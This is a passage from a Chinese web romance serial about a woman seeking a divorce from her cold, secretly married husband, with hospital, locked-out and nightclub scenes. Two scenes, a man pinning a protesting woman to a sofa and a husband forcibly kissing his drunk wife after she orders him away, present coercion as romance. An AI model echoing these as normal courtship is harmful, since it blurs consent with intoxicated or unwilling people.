陆砚深不觉间皱起了眉,这几天江莹跟他说的最频繁的两个字就是“离婚”,听到就莫名烦躁。
他转头意味不明地打量她两眼,“你是想跟老情人旧情复燃,还是想跟新认识的男大弟弟体验一下新鲜刺激?”
下午宋瑾修的话,隐隐带着挑衅。
晚上,这个女人又跟男大弟弟聊得火热。
江莹对上他漆黑,眨着满是冷意的眸子,心里的更冷了几分,到现在他都没觉得自己有问题。
他可以跟青梅、旧爱共同养孩子,却不允许她有丝毫忤逆。
甚至倒打一耙,认为她提离婚是在外面有人了。
什么玩意儿?
她抬手在陆砚深大腿上掐了一下,“我想怎么是我自己的事,都要离婚了,你管不着。”
“江莹,你别忘了,我还没有签字,你的一言一行代表着陆太太。”陆砚深嗓音凉凉。
“陆太太?”江莹气消了,“有几个人知道我是你陆砚深的妻子,又有谁会在乎我这个陆太太?”
“无理取闹,老太太约了你奶奶喝茶,会说什么不难猜吧?”
陆砚深这话说是真的,论谈结束他刚上车,就接到了老太太的电话。
无疑是陆宁看到了下去的采访,在老太太面前添油加醋了。
听到陆家老太太要找她奶奶喝茶,陆宁眼角直突突。这两天张启明没有闹腾,好不容易过了两天安生日子,这俩老太太一见,还不知道怎么作妖。
虽说可以不回陆家,但禁不住她们家老太太闹腾啊!
陆砚深看她不说话,也懒得跟她扯,直接把两只手都钳住,不给她行凶的空间。
湖心公馆。
江莹洗完澡出来,陆砚深已经靠在床上再看手机。
“你怎么进来的?”
“备用钥匙。”
陆砚深抬眸看了她一眼,视线停滞。
江莹穿了件吊带睡裙,刚刚沐浴过的皮肤泛着莹润的光。
纤细白皙的双腿,直直撞入陆砚深的眸子里。
男人不觉喉结滚动,想起曾经情到深处,这双细白的长腿勾着他的腰,轻声低泣。
“既然房子已经过户,我睡主卧确实不合适。”
她说着直接去了次卧。
陆砚深脑子里的画面还没有散去,眼前的女人已经转身离开。
他烦躁地起身点了根烟。
江莹在隔壁卧室躺下,看到梁玥发来的消息点了进去。
梁玥:宝儿,你还好吧?
江莹回复:没事,放心吧,陆砚深不打女人。
梁玥:那他还算是个男人,我看到这个采访视频真怕他揍你。
江莹愣了,什么采访视频,跟她有什么关系?
看到梁玥发来的视频,她抬手点了进去。
“这个是我师妹第一次拿刻刀给我做的,我很喜欢。”
“看来,宋总口中的师妹,怕是情妹妹,这下不知道有多少女生要伤心了。”
江莹愣了,那天吃饭怎么没有注意到师哥还带着那串菩提手串。
难怪陆砚深会那么说,原来问题出在这里。
梁玥:宝儿,师哥没有否认,这算不算当众承认?
看到这话,江莹心里咯噔一下,一时间不知道该怎么回答。
梁玥:其实我觉得师哥心里还有你。
江莹:一个哭笑不得的表情包
江莹:以后别乱说,在我心里他就跟哥哥一样,以前的事不要再提,免得尴尬。
梁玥:自欺欺人,不提就能当什么事都没有?
梁玥:不过你家那个大冰块儿气场挺强的,坐在人群中,一眼望去很吸睛,想不注意也难。
梁玥:而且,不愧是大佬,情绪真稳定,明知道师哥说的师妹是你,情绪没有一点变化。
江莹:一个他从不放在心上的人,怎么可能会让他情绪有波澜。
梁玥:不对,我说早了,我看了后面的内容。是不是给你发消息?
江莹:是啊,问我舅妈是不是必须要换肾。
梁玥:他在会场说的是,家里的粘人精问他几点到家,准备了他爱吃的菜。
梁玥:陆砚深真狗啊,表面云淡风轻,实际上这里反击了。
江莹愣了,他们隐婚,他刚给秦欣送了项目,这么说不是打脸秦欣吗?
梁玥:我怎么觉得陆狗对你不一样了呢,你俩在路边接吻我可是看到了。
江莹:没接吻,我咬他,他咬我,互相伤害而已。
梁玥:不对,他若是心里真的没你,为什么看你跟凌澈聊的热络要抓你回去?
江莹愣住,陆砚深心里有她?
她正出神,房门打开。
江莹抬头望过去,陆砚深穿着睡衣走了进来。
“你干什么?”
“睡觉。”
“你睡觉,跑我这里干什么?”
“江莹,我睡眠一直不好,你知道的。这三年一死皮赖脸躺在我身边,突然说走就走,有没有想过我会不适应。我每天有多少事,你不是不知道,睡眠对我来说很重要。”
江莹听着这话,脑子里闪现梁玥的那句话,心里隐隐兴奋起来,连心跳都莫名加速。
她盯着陆砚深英挺俊朗的五官,抿了下唇开口,“陆砚深,你是不是喜欢上我了?”
第32章 折腾他
陆砚深往床边走的动作顿住。
不知道是因为没有想到江莹会这么问,还是因为他从来没有想过这个问题。
整个人怔愣了一瞬。
江莹看着他的神色,不由得屏住呼吸,心里竟然升起隐隐的期待。
陆砚深在她的注视下,眼神复杂地扯了下嘴角,“还真看得起你自己。”
男人棱角分明的脸上,没有情绪时,就显得特别不好亲近。而此刻,凉薄的眉眼,像是染了霜,有些让人不寒而栗。
陆砚深转身离开后,江莹心里勾起的那点涟漪,瞬间被抚平。甚至有些后悔,自己怎么就鬼迷心窍,以为三年总会有些情分。
她对陆砚深而言,不过是个被强行塞到床上的暖床工具。
像他自己说的,他只是一时间不习惯。或许一个人形抱枕就能取代她的位置。
想到这里,江莹打开手机下单了一个人形抱枕,有了这东西,陆砚深应该就不会执着于让她回来这件事。
说不定还会很快在离婚协议上签字。
次日一天,江莹都待在古坊斋。
凌澈下午没课,去古坊斋找她。
“师姐,我把迷度的兼职辞了,决定跟着你干。”
对于他这个决定江莹并不意外,她有信心让凌澈跟着自己做。
且不说她给出的条件,就凭凌澈对于自己所学专业的热爱,他也不会放弃。
“谢谢你愿意相信我。”
江莹给他倒了杯水,也给自己倒了一杯,笑道:“师姐,以茶代酒敬你一个,预祝我们得偿所愿。”
凌澈抿了口水,笑道:“也谢谢师姐,愿意给我机会。”
钟宏从外面回来,听到两人的谈话,笑眯眯道:“哟,这么快就有了第一个员工?”
凌澈在学校见过钟宏,可惜他只带研究生,所以只有崇拜的份儿。这会儿看到他,还挺激动,“钟教授。”
“小伙子,你可别被这丫头的大饼给骗了。”
江莹皱眉,“您怎么还拆台呀,在这么说我走了,这东西您自己修。”
钟宏抿嘴乐,“楼上有空房,你给我帮忙,我免费给你用。你有了办公的地方,人家小伙子心里也踏实,要不然跟皮包公司有什么区别。”
江莹赶忙给钟宏倒了杯茶,“您说真的?”
“空着也是空着,便宜你了。”
“那可太好了,有您这样一个金字招牌,何愁做不起来。”
凌澈没想到师姐竟然跟钟老师关系这么好,她也太低调了。
江莹在楼下修复那件妆奁,凌澈上楼收拾他有史以来的第一间办公室。
简单而平静的一天,却让江莹觉得生活很有盼头,浑身都充满了动力。
以至于忘了今天两家老太太会见面。
就连陆砚深,今天也没有给她发消息。
然而,这种安稳仅仅只持续到第二天下午。
她刚吃完午饭,跟凌澈一起在整理楼上的办公室,电话响起。
看清来电人,江莹才想起来陆砚深前天晚上说的话,看来老太太开始作妖了。
电话接通,不等她开口,张家老太太责备的声音传了进来,“接个电话这么磨蹭。”
“您有什么事?”
“你大姑姐给你约了一个专家号,今天下午三点半,你赶紧去看一下。若是耽误了,或者不去,我天天去闹你妈。”
老太太风风火火,说完直接挂断电话。
江莹皱着眉头去看微信,还真有陆君发来的消息。
“师姐,你要有事你去忙,这里我可以,刚好放假学校也没什么事,这两天我能整利索。”
这段时间接触下来,江莹特别喜欢凌澈,虽然家庭条件不好,但他为人很大方,甚至主动提出把自己之前搞的那些小设计跟江莹的线上店铺整合,作为他们创业初期的一部分业务。
对于这一点江莹是很感激的。
想到自己也很久没有体检,索性当一次常规体检,既能应付奶奶,又对自己身体负责。
离了婚,难道以后就真要孤独终老,那也太给陆砚深脸了。他怕是要以为自己一辈子对他旧情难忘呢。
等她事业有成,找个宠她爱她的人,生一双儿女,谁还记得那个狗东西。
“谢谢!”
“师姐,你已经说好多次感谢的话。”凌澈有些不好意思的笑笑,“其实我是沾了你的光,要不然我都不知道自己什么时候才能有机会开创自己的事业。说句实话,我之所以想跟着你做,是因为我不但能学到东西,还能没有任何负担地搏未来,真的是我赚了。”
但凡有理想有追求的年轻人,谁不想成功。
凌澈自身条件不允许他去赌,他会跟大多数大学毕业生一样,进入社会当牛马,拿着最低的工资,干着最多的活。
然而,现在江莹拉他创建自己的品牌,搭建自己的公司,还给他工资保障和盈利百分之十五的分红。
这意味着,即便亏钱跟他也没有关系,做得好就能挣更多。
“还挺会说话,那这里就交给你了,工厂那边要的图纸我发你邮箱,你跟他们对接一下,有细节问题,给我打电话。”
“放心,我能处理好。”
江莹真觉得自己挖到了宝,凌澈很有耐心,又有想法,这两天感觉自己就像个甩手掌柜一样,只要跟他说一下想法,他就能很好地完成。
宋瑾修今天没什么事,本来是想着天气不错,约江莹和舅舅一起去打高尔夫。
没想到刚进来就看到她要出去。
“要去哪儿?”
“哦,我约了体检,去医院一趟。”
宋瑾修紧张,“怎么了,身体不舒服?”
“没有,就是定期体检。”
“要不要我送你?”
“不用,我自己开车,挺方便。估计检查完比较晚了。”
江莹心想现在毕竟没有离婚,师哥在采访里的话本来就有点让人误解,还是别让陆砚深觉得有什么,万一男人护食本性透漏,针对师哥,就麻烦了。
他事业刚起步,帮不了他,也不能扯他后腿。
“行,反正我也没事,在这儿等着舅舅,等他来了陪他下会儿棋。”
……
下午三点半,江莹准时到了诊室。
一通检查下来,除了有点气虚血亏,倒也没有什么大毛病。
她把检查结果拍照发给了陆君,省得她挖苦自己有问题,发完照片还留了言。
江莹:大姐,我这身体好得很,没有任何问题。你既然这么着急让我们有孩子,不如给陆砚深也挂个号看看。
江莹:一个委屈的表情包。
江莹:结婚三年,我没有跟任何人说我们俩的事,其实我们好久才会同一次房。我觉得要么他是哪方面冷淡,要么他是身体有问题,怕我怀疑所以偶尔应付一下。
江莹:大姐,我不好意思问他,怕伤他自尊心。但你不一样,你说他,他不会生气。
发完消息,江莹勾唇一笑,折腾我,我折腾你弟弟。
从妇科出来,经过儿科时,一个熟悉的声音,让她噙在嘴角的那抹笑僵住。
第33章 狗东西把她门锁换了
“轩轩乖,打了针感冒才能好,到时候我们才能去动物园看大熊猫。”
陆砚深带着诱哄的声音,在江莹耳边炸响,原本娇俏的小脸瞬间僵住,让她不自觉朝着声音看了过去。
VIP输液室,一直清冷挺拔的男人,此刻正抱着一个孩子。虽然只是个侧脸,但依旧能看出他的心疼。
即便上次在云罗山道已经看到了这个孩子,也知道陆砚深宝贝的紧。但再次看到,心口还是阵阵发紧,像是被人用手拽住,又闷又痛。
“呜呜呜,爸爸坏,轩轩不打针。”
陆砚深十分耐心地哄着孩子,“轩轩是男子汉,你忘了跟爸爸的约定吗?我们要变成小超人,将来长大保护妈妈。”
这么温柔的陆砚深,她从未见过。
被他抱在怀里的小男孩儿,眨了眨眼睛,奶声奶气道:“轩轩是男子汉,要跟爸爸一起保护妈妈。轩轩乖乖打针,爸爸晚上可不可以陪我睡觉,轩轩想跟爸爸睡。”
男人抚摸在孩子头上的大手微微停顿,下一秒点头道:“好,今晚爸爸陪你睡。”
得到允诺的小男孩儿,缓缓伸出自己的手,虽然依旧恐惧,却没有抗拒任由护士握住他的手腕开始扎针。
“轩轩真乖,我们轩轩最棒了。”
男人温柔的嗓音,饱含温度和宠爱,任谁听了都会说他是个好父亲。
江莹站在转角处看着自己丈夫,攥紧了拳头。
她抬步欲走,看到秦欣匆匆赶来。
为了不让自己太狼狈,江莹后退一步,躲在走廊拐角。
“砚深!”
秦欣一脸着急,眼泪直掉,快步走到陆砚深跟前,抬手去试探孩子的体温。
“对不起宝贝,妈妈不该今天还去加班。”
“你也别太着急,医生说天气的原因,最近流感很多。”陆砚深声音低沉,温柔缱眷。
“难怪轩轩最近反反复复发烧。”
秦欣满眼心疼地伸手要抱孩子,但小孩子似乎更黏爸爸,小脸往陆砚深怀里钻。
“你这孩子,见到了爸爸就不要妈妈。”
女人破涕为笑的神色,像是一根刺深深扎在江莹心里。
她看着这一家三口,突然笑了。
想起昨晚她问陆砚深是不是喜欢上她时,陆砚深当时的话,此刻很应景,“你还真看得起你自己”。
自己不过是他被逼无奈娶回家的暖床工具。当初陆砚深答应娶她,陆爷爷给了他百分之五的陆氏股份。
也是这多出的百分之五,他才能在三叔陆书泉面前有绝对的话语权。
当然这话,不可能当着她的面说,都是三婶在阴阳她时无疑说的。
陆砚深拍着孩子的背,叮嘱秦欣,“公司的事有杜宇看着,你不用那么操心,我已经让他找职业经理人,但时候你就在家好好陪孩子。”
秦欣点头,弯唇浅笑的模样很是乖巧,“好,我都听你的。”
江莹深吸一口气,抬脚走人,看自己的丈夫跟别的女人一家三口秀恩爱,她没有这嗜好。
她到家时,已经将近六点钟。
车子在院里停好,去开门,却发现自家门锁被换了。
若不是院子里一切都没有变,她还甚至以为自己走错地方了。
江莹试了几次密码,都没有成功。
谁能有本事不声不吭把她的门锁换了?
除了那狗东西不会有第二个人。
还以为今晚终于安生了,没想到竟然把她的锁换了。
无奈之际,江莹联系开锁公司。
黄昏的小院里,寒风刺骨,江莹又冷又气,实在站不住钻进了车里。
二十分钟后,开锁师傅骑着电驴赶来。
“不常回来吗?怎么就把密码忘了呢?”
师傅说话间停好电动车,背着工具箱往门口走。
“不是,换了新锁,设了密码后忙别的事就忘了。”江莹随口扯谎。
开锁师傅转头看了她一眼,没说话。
但江莹从他的眼神里读出了震惊,他肯定在想,这姑娘心真大,换个锁能把自己锁外面。
不由得让江莹更恨陆砚深,心里默默开始问候他十八代祖宗。
“我去,这么牛逼。”
开锁师傅还没拿工具,看着门锁直接震惊了。
江莹顾不上骂到了第几代,焦急地问:“师傅,怎么了?”
“姑娘,你们有钱人就是豪横,一个门锁用这么高级别,你这是难为谁呢?”
江莹不解地看着开锁师傅,“这话怎么说?”
“你这说锁安全等级牛X得很,现在我们这个行业没有人能开,你说你防个贼有必要用这么高等级的门锁吗?现在不是难为你自己,开不了门你怎么进去?”
江莹彻底愤怒了,开锁的都开不了,这狗东西为了一个人型抱枕还真是煞费苦心。
“师傅,还有没有别的办法?”
“只能强制拆,但现在强制拆,就破坏了你家的门,你是一个人吗?”
江莹点头,心里也知道强制拆不现实,她一个人没有门晚上太不安全。
“那你还今晚还是先去亲戚家住一晚,明天再拆,定好门拆完直接装。”
开锁师傅是个直爽的人,最后看她一个人被锁在外面,连上门费都没有要,只说明天要拆了还叫他就行。
江莹送走开锁师傅,心里特别堵。
他给陆砚深打电话,想要大骂他一顿,但电话打过去,传来的却是秦欣的声音。
“莹莹,你找砚深吗,他刚去卫生间,你等会儿再打。”
江莹不争气的眼泪,瞬间落了下来,狗东西陪着他的小情人和孩子,害她喝西北风。
周围的邻居家饭菜飘香,她却有家不能回,孤零零站在寒风中。
一气之下,她约了梁玥又一次去了迷度。
有沈斯阳那个衰货,就让他看陆砚深的笑话。
到了迷度,江莹直接点了几个弟弟。
只不过沈斯阳那个浑蛋,竟然限制了人数,一次不能超过五个人。
梁玥到的时候满脸纳闷,“姐们儿,咱潇洒能不能换个地儿,你不知道这里有你家那位的狗腿子。”
“知道啊,就是因为知道,所以才来,而且还是刷他的卡。”
“你这是故意恶心他呢?”
“这么不明显吗?”
江莹一口小菜,一口酒,样子很滋润。
“姐姐,上次没学会的,今天我教你。”
一个眉清目秀的弟弟上来,教江莹玩儿色子。
梁玥在她身边坐下,俏咪咪问:“陆狗又惹到你了?”
江莹点头,“我今晚跟你睡,反正你明天不用上班,我们尽情玩儿。”
狗男人不做人,她也不能亏了自己,吃好喝好玩儿好,然后睡一觉,明天起来再回去拆门。
当然,拆门拆锁照样刷他的卡。
梁玥了解江莹,一定是陆狗又伤到她了,要不然她不会想着用这种方式来报复他。
“不是,姐妹,你都要跟他离了,怎么还这么纠缠,他到底几个意思?”
“管他几个意思,我们开心就好。”
江莹此刻一点都不想提他,狗男人这会儿正陪他心爱的女人和儿子,要乐那就一起乐。
谁也不打扰谁。
陆砚深这会儿刚把轩轩哄睡,看了一眼手机。
这个点了,那个女人还没有回家?
只是,他没有看到江莹的任何消息,而是看到了银行消费记录。
第34章 又当又立,跟我那死鬼老公真像
家都不回,潇洒上瘾?
那里的弟弟就那么勾魂?
陆砚深帮孩子盖好被子,从房间走出来。
秦欣已经端了饭菜放在餐桌上,“砚深,快来吃饭,按照你的口味儿让阿姨准备的。”
“我还有事,先走了。”
没有了孩子在场,陆砚深的态度淡了很多。
秦欣赶忙上前,“砚深,轩轩等会儿醒了肯定要找你,我……”
“好好安慰他,改天我再来陪他。还有,晚上你注意些,再烧起来记得给他吃退烧药。”
陆砚深交代完,拿起外套没有停留,秦欣是个妈妈不会连这点事都做不好。
到迷度已经是半小时之后的事。
江莹今天喝的有点猛,主要是因为生气。
本来从医院回来她就挺丧,结果狗东西竟然把她的门锁换了。
他有自己喜欢的人,还有自己疼爱的孩子,为什么要这么折磨她?
梁玥知道她有心事,也没有劝,刚好喝醉了回去好睡觉。
她相信江莹是个坚强的人,当初为了救她妈妈,她一个人兼职做那么多工作,都能咬牙坚持,没有什么事能够压到她。
包间门被推开,看到一身寒凉的陆砚深进来,梁玥气不打一处来。
“陆砚深,你来干什么,见不得莹莹高兴是吗?”
陆砚深不搭理她,径直站在江莹脸前,捏着她的下巴嗓音沉冷,“玩儿挺高兴?”
“你放开她。”
梁玥刚要上前,被沈斯阳拉住,“人家两口子的事,你掺和什么,还有你们几个都出去。”
沈斯阳说完拉着梁玥往外拽,心说陆砚深兄弟冒着被揍的风险只能帮你到这一步了。
包间安静下来,江莹仰头看着站在自己身前的男人,笑眯眯道:“帅哥,你长的好高,腿好长。”
“哪啥,你下来点,我看不清你的脸。”
陆砚深拧眉,“喝点就傻,还敢出来玩。”
江莹看男人不动,生气了,“姐姐,花了这么多钱,你看都不给看一下,进来做什么?又当又立,跟我那个死鬼老公真像。”
“你还知道自己有老公?”陆砚深睨了她一眼,声音冷淡。
“当然知道,不过在我心里弟弟最好,他已经死了。”
陆砚深脸色瞬间黑了下来,“江莹!”
“哎呀,你蹲下来,站那么高,我脖子仰得都累了。”
江莹声音娇媚,说着扯住他的皮带将人往下拽,“这么不听话,以后不翻你的牌。”
陆砚深眉头更紧,还翻牌?
这个沈斯阳可以,搞得跟青楼楚馆一样,勾栏做派。
被女人拽着,陆砚深勉强迁就她,弯下腰。
看着她红扑扑的小脸,沉声开口,“为什么喝酒,有什么开心事,值得庆贺。”
江莹拧眉看着他,原本笑眯眯的眉眼,渐渐拧巴在一起,“你怎么那么像我那个死鬼老公?”
陆砚深被气的咬牙,还有点想笑,“你老公不是死了,突然出来诈尸?”
男人尾调上扬,若是沈斯阳在场一定能看出他在憋笑。
“嘻嘻,也是,他都死了,你怎么会是他。”
陆砚深:……
看着男人脸黑了下来,江莹抬手将两根手指按在他唇角,然后稍稍用力往上推。
“别绷着脸,看着真他诈尸了一样。”
陆砚深深吸一口气,“走不走?”
“走?去哪儿?”
江莹像是想起什么,突然哭唧唧起来,“我都无家可归了,还能去哪儿?死鬼老公换了我的门锁,我自己原来的家被我爸和他的老情人霸占,我的房间被小三的女儿强占。”
说着眼泪掉的更凶,“我想家,却回不去,一回去他们就逼我。为什么会这样,那是我的家,但我却成了一个多余的人。”
听着她的哭诉,陆砚深心底莫名酸涩,有她说的那么可怜吗?
她是他陆砚深的妻子,张启明怎么可能会这么对她,哪次不是乐呵呵的陪着笑,哄着她跟他好好过。
但看她眼泪汪汪,想凶她又凶不出口,“那你要不要跟我走?”
江莹抹了抹眼泪,盯着他看了几秒,然后摇头,“不行,你这人一看就很贵,我怕我付不起。”
陆砚深气得嘴角颤了颤,一晚上花了十五万的人,这会儿说自己付不起。
男人拧眉反问,“你不是有黑卡。”
江莹瞬间乐了,笑得像个孩子,“对哦,我那个死鬼老鬼穷的只剩钱了,他那张卡我都不知道封顶能刷多少。”
她说着从包里摸出银行卡,笑眯眯塞到陆砚深西装口袋里,“靓仔,走,姐姐带你玩儿。”
陆砚深磨了磨后槽牙,“她倒是上道儿,就这点酒量,在外面不被吃干抹净,就是行凶者太蠢。”
隔壁包间,梁玥在沈斯阳的威压下,被迫老老实实坐着。
“这位老板,你人多势众欺负我一个弱女子,这道德吗?”
沈斯阳挑眉,“就你,弱女子?拽起人来,比我力气都大。将来你老公能受得了你这么生猛的吗?”
“要你管,自己菜鸡还怪别人强,脸皮真厚。”
沈斯阳勾唇,靠在门上微微顶着夸,吊儿郎当的样子,痞帅痞帅。
“承认自己强了?”
梁玥:……
她一个玩儿文字的,被一个二世祖给饶了进去。
“不跟你闲扯,你知不知道,我姐们儿要跟那个冷脸面瘫离婚。那狗东西要是对我姐们儿用强,那也是违背妇女意愿,也是犯法。你现在这样,等于从犯。”
“离婚?”
沈斯阳瞬间站直,“卧槽,有这事?”
随即摇头,“不可能,不可能,江莹哈着陆砚深这么多年,她怎么可能舍得离婚。再说了,就她那个家,除了砚深谁能满足的了?”
“瞧不起谁呢,有几个臭钱了不起吗?钱我们可以自己挣,男人满大街都有的生物,又不是死绝了,只剩他陆砚深一个。”
沈斯阳愣住,难道江莹第一次来他这里豪掷十五万,还刷陆砚深的卡就是为了让陆砚深知道。
似乎有道理哦,他还以为江莹傻,刷陆砚深的卡点模子,这是有多蠢。
现在看来是他肤浅了,这姐是要激怒陆砚深,要离婚呐。
天,陆砚深也有被甩的一天。
“你的意思是,江莹要离婚,陆砚深不离是吗?”
梁玥看着傻帽终于反应过来,冷冷给他一记白眼,“就你这智商怎么当的老板,若不是家里有矿,什么样的爹能放心让你这种缺心眼的出来霍霍钱。”
“你!”
两人争斗嘴,听到外面一阵吵闹声。
第35章 一会儿靓仔,一会儿弟弟
“陆总,莹莹喝醉了,你不能这么带她走。”
宋瑾修是跟凌澈一起来的。
江莹来喝酒,凌澈的同事给他发了消息,说那个富婆姐姐又来了,还喝醉了。
宋瑾修下午在古坊斋跟钟宏下棋太晚,刚好凌澈也没有吃饭,钟宏让宋瑾修带他一起。
因为不放心江莹,他带着凌澈一起过来?本来是想接到江莹送她回去,没想到会碰到陆砚深。
“他是我老婆,我不带难道让你带?”陆砚深声音凉薄,隐隐带着怒意。
“她确实是你老婆,但她现在要跟你离婚,早就不愿意回去。”
这话彻底激怒了陆砚深,江莹不愿意回家的事,他也知道。
那这些天他们是不是天天见面?
“还轮不到你在这儿说三道四,让开。”
陆砚深阴沉着脸,凌澈真怕下一秒这俩人就打起来。
江莹看着几个男人围着路,心里一阵烦躁,“吵死了,你们干什么?”
她说着推开陆砚深,摇摇晃晃往外走。
宋瑾修想去扶,被陆砚深一把推开,“别碰她。”
凌澈见状趁机过去扶住江莹,“师姐,你怎么喝这么多?”
他扶着人刚站稳,沈斯阳出来。
“干什么呢?”
陆砚深看到沈斯阳抬手指了指宋瑾修,“把人给我看住,要不然遭殃的是你这里。”
沈斯阳跟陆砚深穿一条裤子长大,怎么可能帮着外人,迅速让人把宋瑾修困住。
陆砚深冷冷看了一眼宋瑾修,走到江莹跟前直接把人抱了起来。
当然他冰冷的眼神,凌澈也没有逃过。
梁玥看大势已去,,陆砚深已经抱着人离开,气得一脚踹在沈斯阳屁股上。
“狗东西,诅咒为虐。”
沈斯阳一个踉跄,一头撞在前面的保镖身上。
“你个死丫头,别以为我不敢怎么着你。”他说着转身拉着梁玥的手腕往楼上走。
“沈总,梁玥脾气直,你别跟她一般见识。”
宋瑾修深吸一口气,压着心里的不爽,为梁玥开脱。
“宋总,你好自为之,今天这仇不报,我在江北怎么混?”
梁玥并不怕他,一对一沈斯阳不是她的对手。
“师哥,别求他。”
但沈斯阳毕竟是一米八的大个儿,梁玥一米六二的小身板显得有些单薄,弱小。
宋瑾修想伸手,却被沈斯阳的保镖围住,不得机会。
直到沈斯阳把人带上楼,宋瑾修和凌澈才被保镖赶出会所。
好多年没有体会过的羞辱感,让宋瑾修手颤,脸上却依旧温润平静。
想到刚刚陆砚深抱江莹时,她下意识往他怀里靠,紧握的拳头上青筋凸起。
“师哥,我觉得玥姐这里不用担心,沈总嘴硬心软。在这里工作的人都了解他,就是嘴贱点,人还是很不错的,他不会真的为难玥姐。”
“至于师姐,她毕竟跟陆总还没有离婚,他们夫妻之间的事,我们也不好干涉太多。”
宋瑾修嘴角扯出一个笑,点头,“你说的对,我们等会儿梁玥。”
他声音刚落,电话响起。
看清备注“合伙人”,宋瑾修眸底沉了几分,走到一旁去接电话。
没说两句回来,“凌澈,你在这里等梁玥,我有点事得先走。沈斯阳不会做的太过,这里毕竟是他的地盘,他不会蠢到让梁玥在这里出事。”
“好,你放心去忙。”
凌澈裹紧了身上的衣服,看着宋瑾修离开。
宋瑾修上车后,拨通了一个电话,声音冷冽。
……
沈斯阳拉着梁玥上了二楼,是他的专属包间。
进去后,直接将人压在沙发上。
梁玥从来没有跟男人这么亲近过,被他突如其来的动作吓到,整个人僵着脖子往沙发里缩。
“沈斯阳,你敢碰我,我明天就让你去警察局报到,我可不会委屈求全,一定会跟你同归于尽。”
沈斯阳扣着她的手背在身后,用力压在她身上,双腿被他压在胯下。
梁玥这会儿一点力气都使不上,只有瞪大的眼睛昭示着她的愤怒。
“想得美,跟我同归于尽,你还不够格。”
“今天让你知道什么叫小爷不发威,你当时我好脾气。”
其实这几次的接触下来,梁玥知道他不是个坏人,为了自己兄弟还是挺义气。
沈斯阳说着往她耳边凑,温热的气息喷附在她耳朵上,酥麻感让她瞬间红透。
她写的东西是很暧昧,甚至激情彭拜,但她自己可是纯的不能再纯,长这么大只有暗恋别人的份儿。
“怎么这么红,刚刚不是还挺虎,现在还没开始就受不了?”
沈斯阳转脸睨着她,嘴角噙着一抹笑,另一只手在她腰间摩挲。
虽然隔着薄薄的打底衫,但这个狗东西很有技巧,酥痒的感觉,让梁玥不由得战栗。
“这么敏感,你没谈过男朋友?”
梁玥撇开脸,身体动弹不得,“放开我,你现在的所作所为我不计较,就当为我刚才一时冲动赔礼道歉。”
沈斯阳勾唇,笑得浪荡,“你这赔礼道歉的方法还挺有新意。”
梁玥看他故意曲解自己的意思,知道这狗东西就是要折磨她,让她难堪,咬牙不说话。
“你一脚踹我屁股上,知不知道让我在员工面前很没面子,这么轻松放过你,我以后还怎么混?”
沈斯阳说着手指一寸寸上移,最终停留在梁玥下巴上。
他直接捏住女生下巴,强迫她看向自己,“别说,你身材虽然差了点,但脸长得还挺耐看,圆嘟嘟挺可爱。”
梁玥处在劣势,身上跟压了座山一样,这会儿她不再挣扎,开始审时度势,准备见机行事。
“你阅人无数,我这样的白开水对你来说,太寡淡了。”她敷衍道。
“也不会,吃多了山珍海味,粗茶淡饭尝一尝也不错,最重要的是新鲜感。”
梁玥咬牙,她是粗茶淡饭?
狗东西就是根脏黄瓜!
“不是,你的胃已经被养叼了,粗茶淡饭咽不下去的。”
“你怎么知道我咽不下去,现在给你看看,我不光能咽下去,还吃的很香。”
随着沈斯阳的靠近,男人俊朗的五官随之放大。
梁玥心跳瞬间失序,咚咚跳得厉害,一时间脑子里空白一片。
四目相对,男人看着身下女人不说话,静静看着他,没有之前的张牙舞爪,反而像只温顺的猫。
圆圆的脸上,一双大眼睛水汪汪看着他,无端惹得他心口莫名一紧。
时间停滞,身后抓着梁玥的手,不觉间松了几分。
梁玥回神,感受到沈斯阳力道减小,身上压着她的力量也弱了不少。
瞬间抬腿朝着狗东西的裆部用力往上顶。
下一秒,男人一声闷哼,直接瘫在梁玥身上。
梁玥趁机将人推开,起身就往外跑,走到门口转身骂道:“狗东西,祝你断子绝孙。”
其实她只用了五成力,疼肯定会疼一下,但不至于真的会断子绝孙。
凌澈看梁玥出来,瑟瑟发抖着迎了上来。
“玥姐,你没事吧?”
梁玥摇头,“没事,赶紧走。”
沈斯阳缓过劲儿,躺在沙发上咬唇笑,竟然被一个凉白开一样的女人摆了一道。
……
湖心公馆。
江莹站在卧室门口直愣愣地打量,“弟弟,你这酒店怎么看着这么眼熟?”
陆砚深扶着她进了卧室,心想她倒是上道,一会儿靓仔,一会儿弟弟。
“是吗,看来你没少来酒店。”
“瞎说,我可从来不去酒店。”江莹抬手在他胸口点了一下,“实话告诉你,我从来没有住过酒店。”
“嘻嘻,是不是很老土?”
“别人都住过,就我没住过,人家结婚都有蜜月旅行,可我没有,所以没有机会住。”
陆砚深原本心里挺不爽,听她这么说,心里莫名泛酸,弯腰直接把人抱了起来。
“你要干什么?”
“带你去个不一样的酒店。”
江莹笑眼弯弯,软软道:“好啊,弟弟好贴心。”
陆砚深听到弟弟脑瓜疼,不搭理她,大步往外走。
到酒店时江莹已经睡着,看着怀里女人瓷白的小脸,他抱着人进了房间。
刚把人放下,准备去洗澡,江莹直接伸手抱住他的脖子,“陆砚深,你就是只瞎眼狗,我这么漂亮你都看不到。”
第36章 酒后凌乱
陆砚深舌尖抵着上颚,喝醉了夸自己同时还不忘骂他。
江莹什么时候脸皮这么厚!
他起身去浴室放水,再出来,原本躺着的女人已经站在床边脱衣服。
身上的衣物已经被她脱得只剩贴身的黑色内衣。
陆砚深盯着眼前人,黑是黑,白是白,黑的冷硬,白的夺目。
整个人纤细,却不单薄。
视觉冲击让陆砚深喉间发紧,心里却醋意四起,跟弟弟出来开房,她倒是放得开。
江莹看到他也愣了,刚刚眯了一会儿,身上的酒意散去几分,看到陆砚深错愕了一瞬,然后一脸鄙夷地晃着走了过去,奶凶奶凶,“看什么看,再看眼睛给你挖了喂狗。”
陆砚深没有搭理她的恐吓,而是抬手把人拥入怀中。
“你带我来开房,还不让看?”
江莹推他,“陆砚深,你要不要脸,什么屁话都敢说。我带你开房,你也配?”
听到她叫自己名字,陆砚深心里突然就好受了,原来她知道自己是谁。
“赶紧滚,别让我看到你。”
江莹挣扎着捶打他,带着酒后的绵软,拳头落在男人身上不疼,反而无形中带着撩拨的意味。
男人一手禁锢她的腰,一手捏着她的下巴,逼着江莹跟他对视,“你花钱包我,我还没有提供服务,怎么能走?”
江莹傻眼,愣愣地看着他,她怎么不记得自己说过这话?
“不知道你在说什么,赶紧滚。”
陆砚深视线沉沉落在她脸上,眼尾一点猩红出卖了他此刻的冷峻。
“做人要讲诚信,我是个生意人,从来不亏待客户。”
说完又急又凶吻了下去,完全没有给江莹反应的时间。
